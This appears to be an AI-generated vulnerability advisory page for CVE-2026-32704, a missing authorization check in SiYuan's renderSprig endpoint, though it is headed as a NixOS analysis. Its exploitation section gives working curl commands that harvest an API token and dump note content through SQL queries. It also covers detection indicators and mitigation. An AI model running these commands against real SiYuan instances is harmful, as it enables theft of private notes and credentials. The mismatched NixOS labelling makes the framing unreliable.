CVE-2026-32704: 
NixOS vulnerability analysis and mitigation

Overview

CVE-2026-32704 is an improper authorization vulnerability in SiYuan (b3log/siyuan), a self-hosted note-taking application, where the POST /api/template/renderSprig endpoint is missing the required model.CheckAdminRole middleware check. This allows any authenticated user — including low-privilege API token holders and Publish Service Reader role accounts — to execute arbitrary SQL queries against the workspace database and exfiltrate all note content and metadata. All versions up to and including 3.6.0 are affected; the issue was disclosed and patched on March 13, 2026. It carries a CVSS v3.1 base score of 6.5 (Medium) (GitHub Advisory, GHSA).

Technical details

The root cause is a missing authorization middleware in kernel/api/router.go: the renderSprig handler is registered with only model.CheckAuth (authentication check), while all other sensitive data endpoints also require model.CheckAdminRole. The renderSprig handler calls model.RenderGoTemplate, which exposes a querySQL template function registered in kernel/sql/database.go that executes raw SELECT statements against the workspace SQLite database without any role validation. An attacker with any valid API token can craft a Go template payload embedding querySQL calls to retrieve arbitrary data from the blocks table and other database objects. This is classified as CWE-285 (Improper Authorization) and CWE-732 (Incorrect Permission Assignment for Critical Resource) (GitHub Advisory).

Impact

Successful exploitation allows any authenticated user to dump the full contents of the SiYuan workspace database, including all note content, document hierarchy (hpath), tags, custom attributes, block IDs, and timestamps. Attackers can search notes for sensitive data such as stored passwords, API keys, and personal information. The impact is purely a confidentiality breach — integrity and availability are not affected — but the exposure is particularly severe in shared or enterprise deployments where lower-privilege accounts are expected to be isolated from other users' data (GHSA, GitHub Advisory).

Exploitability

A public proof-of-concept exploit is available in the GitHub Security Advisory, consisting of curl commands that demonstrate full database exfiltration against a live SiYuan instance. The exploit requires only a valid API token or Publish Service Reader credentials, making it accessible to any authenticated user. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.044% (14th percentile), indicating a low but non-negligible probability of exploitation in the near term (GitHub Advisory, GHSA).

Exploitation steps

  1. Obtain credentials: Acquire any valid SiYuan API token or Publish Service Reader account credentials for the target instance.
  2. Authenticate and retrieve token: Send a POST request to /api/system/loginAuth with the access auth code to obtain a session cookie, then query /api/system/getConf to extract the API token:
curl -s -X POST http://<target>:6806/api/system/loginAuth \
  -H "Content-Type: application/json" \
  -d '{"authCode":"<authcode>"}' -c /tmp/siy.cookie
TOKEN=$(curl -s -X POST http://<target>:6806/api/system/getConf \
  -b /tmp/siy.cookie -H "Content-Type: application/json" -d '{}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['conf']['api']['token'])")
  1. Probe the vulnerable endpoint: Confirm access to renderSprig by sending a simple SQL count query:
curl -s -X POST http://<target>:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{querySQL \"SELECT count(*) as n FROM blocks\" | toJson}}"}'
  1. Exfiltrate note content: Execute a broader SQL query to dump note paths and content from the blocks table:
curl -s -X POST http://<target>:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range $r := (querySQL \"SELECT hpath,content FROM blocks LIMIT 100\")}}{{$r.hpath}}: {{$r.content}}\n{{end}}"}'
  1. Search for sensitive data: Craft targeted SQL queries to search for keywords like password, api_key, or token within note content to identify high-value data for exfiltration (GHSA).

Indicators of compromise

  • Network: Unusual or repeated POST requests to /api/template/renderSprig from non-admin user accounts or unexpected source IPs; requests containing querySQL in the JSON body.
  • Logs: SiYuan access logs showing POST /api/template/renderSprig calls with Authorization: Token headers from low-privilege accounts; high-frequency requests to this endpoint suggesting automated enumeration.
  • Application Behavior: Template bodies in requests containing SQL keywords (SELECT, FROM blocks, LIMIT) embedded within Go template syntax ({{querySQL ...}}); responses returning large JSON payloads from this endpoint.
  • Authentication Events: Login events from the /api/system/loginAuth endpoint followed immediately by /api/system/getConf calls, consistent with automated token harvesting as described in the PoC (GHSA).

Mitigation and workarounds

Upgrade SiYuan to version 3.6.1 or later, which adds the missing model.CheckAdminRole middleware to the renderSprig endpoint. No configuration-based workaround is available for unpatched versions; the fix requires a code change. For shared and enterprise deployments, administrators should audit access logs for unauthorized calls to /api/template/renderSprig, review and restrict API token distribution and Publish Service Reader role assignments, and audit workspace notes for sensitive data (passwords, API keys) that may have been exposed (GitHub Advisory, SiYuan Issue).

Community reactions

The vulnerability was reported by security researcher fg0x0 and disclosed via GitHub's coordinated disclosure process on March 13, 2026. Coverage appeared on security aggregation sites including infinitsec.net, cvefeed.io, and dev.to shortly after disclosure. The OpenSUSE security announce mailing list also referenced the issue in the context of govulncheck vulnerability database updates. No major vendor statements beyond the GitHub advisory or notable threat actor commentary have been identified (GitHub Advisory).

Additional resources


Source: This report was generated using AI

Related NixOS vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-103678HIGH8.1
  • NixOS logoNixOS
  • tnef
NoNoOct 01, 2026
CVE-2026-103680MEDIUM6.5
  • NixOS logoNixOS
  • tnef
NoNoOct 01, 2026
CVE-2026-103679MEDIUM6.5
  • NixOS logoNixOS
  • tnef
NoNoOct 01, 2026
CVE-2026-103497MEDIUM5.5
  • YouTrack logoYouTrack
  • cpe:2.3:a:jetbrains:youtrack
NoYesOct 01, 2026
CVE-2026-103496MEDIUM5.4
  • YouTrack logoYouTrack
  • youtrack
NoYesOct 01, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management